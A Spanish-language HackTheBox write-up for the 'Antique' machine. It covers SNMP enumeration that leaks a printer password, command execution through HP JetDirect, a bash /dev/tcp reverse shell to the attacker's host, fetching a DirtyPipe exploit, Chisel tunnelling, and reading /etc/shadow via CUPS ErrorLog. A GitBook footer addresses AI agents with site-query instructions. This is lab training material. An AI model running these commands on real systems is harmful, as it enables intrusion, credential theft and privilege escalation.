> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md).

# Writeup de Antique en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/400>" %}

{% hint style="warning" %}
Habilidades:

* Enumeración SNMP
* Abuso de impresora de red
* Explotación de la administración de CUPS (ErrorLog)
* EXTRA -> (DirtyPipe) (CVE-2022-0847]
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Estableceremos nuestro espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento usando Nmap

<figure><img src="/files/774e29e6a0e980b89eee9750ce8f952eddcd82f6" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/dd20cca057d2fcf4f3877c4989a4a62160367f9d" alt="" width="563"><figcaption></figcaption></figure>

### Escaneo TCP:

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts
```

<figure><img src="/files/2890d50b1d6d9f88bfb7d774cdba940cc247a157" alt="" width="563"><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (23.7777)

<figure><img src="/files/ba3a485a460c4d84efe8c225f748002a6f8ee279" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p23,7777 10.10.11.107 -oN targeted
```

<figure><img src="/files/f27506390d33a2ea6b71f759137fb1c7a6880ab5" alt=""><figcaption></figcaption></figure>

### Escaneo UDP:

**Descubrimiento de puertos abiertos con Nmap:**

También realizamos un escaneo en los puertos UDP con **Nmap**:

```bash
nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP
```

Extraemos de nuevo los resultados con `extractPorts`, y observamos la apertura del puerto **161**, usado por SNMP.:

<figure><img src="/files/341064ea8df8510fe82e2ae5f76fad59d0a8de8a" alt=""><figcaption></figcaption></figure>

## Explorando servicios

### Puerto 23 (Telnet) – HP JetDirect

Al intentar conectarnos en el puerto **23** vía **Telnet**, nos encontramos con un servicio HP JetDirect que nos pide una contraseña. Podemos intentar conectarnos con:

```bash
nc -vn 10.10.11.107 23
```

<figure><img src="/files/418901e409b29d76d3e548bee84d0df4bed9d034" alt="" width="563"><figcaption></figcaption></figure>

### Puerto 161 (SNMP)

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

Usamos **snmpbulkwalk** para enumerar los servicios SNMP expuestos en el puerto **161**:

```bash
snmpbulkwalk -c public -v2c 10.10.11.107 .
```

<figure><img src="/files/a60bb09bbb7233a9741618ec70dc9c18ad5f079c" alt=""><figcaption></figcaption></figure>

```bash
50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
```

Esto nos da una cadena de caracteres hexadecimal que convertimos a ASCII para obtener el contenido legible:

{% code overflow="wrap" %}

```bash
echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/774c7ebd19230e9d87d4fe4b00e95dfef0b6daa3" alt=""><figcaption></figcaption></figure></div>

Este canal contiene información interesante, pero nada inmediatamente útil para la explotación.

```bash
nc -vn 10.10.11.107 23
P@ssw0rd@123!!123
```

<figure><img src="/files/3c57d9d7b993500ce8c08df38f262db5ee5210e8" alt=""><figcaption></figcaption></figure>

Al intentar inyectar una cadena como contraseña en el puerto 23 (JetDirect), usamos intentos como:

```bash
P@ssw0rd@123!!123
```

<figure><img src="/files/0ac7d4f9542f4884bbddffb31c318c4bae62b290" alt=""><figcaption></figcaption></figure>

## Abuso de impresora de red

Hemos detectado que es posible ejecutar comandos a través de la impresora de red. La explotación de esta vulnerabilidad se basa en el `exec` comando que permite inyectar comandos remotos. Por ejemplo:

```bash
exec id
```

<figure><img src="/files/7d662a2fd888ec73cc3f5ae56fa43b15ea061808" alt=""><figcaption></figcaption></figure>

Esto devuelve las credenciales del sistema y permite ejecutar otros comandos.

**Shell inversa**

Establecemos una shell inversa usando **nc** en el puerto **443** de la máquina atacante:

```bash
nc -nvlp 443
```

```bash
exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" 
```

<figure><img src="/files/e78d723224daf28c256fb2026366b3d32babcd81" alt=""><figcaption></figcaption></figure>

A continuación, manipulamos la sesión de shell para obtener un mejor control:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### flag user.txt :) <a href="#user-flag" id="user-flag"></a>

<figure><img src="/files/825e5ed0c30af50af9f180121e9368035a77698c" alt="" width="561"><figcaption></figcaption></figure>

## Escalada de privilegios

## 1. Explotación DirtyPipe

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

Comprobamos si la máquina era vulnerable al exploit DirtyPipe, un fallo que permite modificar archivos del sistema en ejecución. Descubrimos que la máquina tenía **gcc**, un compilador C, disponible en la ubicación `/usr/bin/gcc`.

```bash
lp@antique:/home/lp$ which gcc
/usr/bin/gcc
```

A continuación, usamos **Python3** para transferir el exploit desde nuestra máquina local a la máquina objetivo. En nuestra máquina local, iniciamos un servidor HTTP para alojar el exploit:

```bash
python3 -m http.server
```

En la máquina víctima, descargamos la explotación:

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="/files/906846807d85eb644cfeca63c09dc86c9e69d7dd" alt=""><figcaption></figcaption></figure>

Una vez recuperada la explotación, compilamos el archivo C con **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
La explotación modifica el `/etc/passwd` archivo inyectando un hash de contraseña, y añade un usuario `aaron` con una contraseña específica, todo para permitir la escalada de privilegios.
{% endhint %}

<figure><img src="/files/dcfbf0343a16daa4816343d4b8c2e761de952a9b" alt=""><figcaption></figcaption></figure>

Por último, solo ejecuta el script:

```bash
./exploit
```

Esto nos permite obtener `root`/*/* acceso a la máquina

<figure><img src="/files/22d22c8af4ae794e81015cf05d225a6d63ffa950" alt=""><figcaption></figcaption></figure>

## 2. Redirección de puertos con Chisel

Al inspeccionar los puertos abiertos en la máquina objetivo, encontramos el puerto **631** (usado por CUPS). Usando el siguiente comando, confirmamos la presencia de un servicio CUPS:

```bash
netstat -nat
```

El servicio CUPS está en la versión **1.6.1** y hemos identificado que podría ser vulnerable. Para redirigir este puerto, usamos **Chisel**, una herramienta de túnel.

<figure><img src="/files/7a60c3d3f7fe16808244cd9ec6a41c629b45b722" alt=""><figcaption></figcaption></figure>

Primero compilamos Chisel en nuestra máquina local:

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
go build -ldflags "-s -w" .
upx chisel
```

A continuación, transferimos el ejecutable de Chisel a la máquina víctima a través de un servidor HTTP de Python3:

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="/files/9f4313ed53ab8230db5391afa2abb2b0485304c9" alt=""><figcaption></figcaption></figure>

En nuestra máquina, iniciamos el servidor Chisel:

```bash
chisel server -p 8888 -reverse
```

Luego, en la máquina víctima, configuramos el cliente Chisel para redirigir el puerto 631 a nuestra máquina local:

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="/files/42c3ec5e0f6256fcd8e0119952555045e4c50e92" alt="" width="563"><figcaption></figcaption></figure>

Esto nos permite acceder a la interfaz web de CUPS de la máquina objetivo a través de un túnel seguro.

### Explotación de la vulnerabilidad CUPS 1.6.1

{% embed url="<https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/escalate/cups_root_file_read.rb>" %}

Usando **cupsctl**, modificamos la **CUPS** configuración del servicio para redirigir el **ErrorLog** archivo a un archivo sensible, como **/etc/shadow**. Esto permite que este archivo se lea como root a través de la interfaz web de CUPS.

Comando para modificar la configuración:

```bash
cupsctl ErrorLog=/etc/shadow
```

Luego accedimos a la interfaz web de CUPS visitando la siguiente URL en el servidor CUPS a través de nuestro túnel:

Esto hizo posible ver el contenido del **/etc/shadow** archivo y obtener el `root.txt` bandera.

<figure><img src="/files/559c381272aa715f7a228acad57de5d8a8f6b732" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/1e99512a314b9bcd1487f20a8aac2b90a357e33f" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/9384c9d8bd444e69020bb3b41e405a0cefd5b381" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
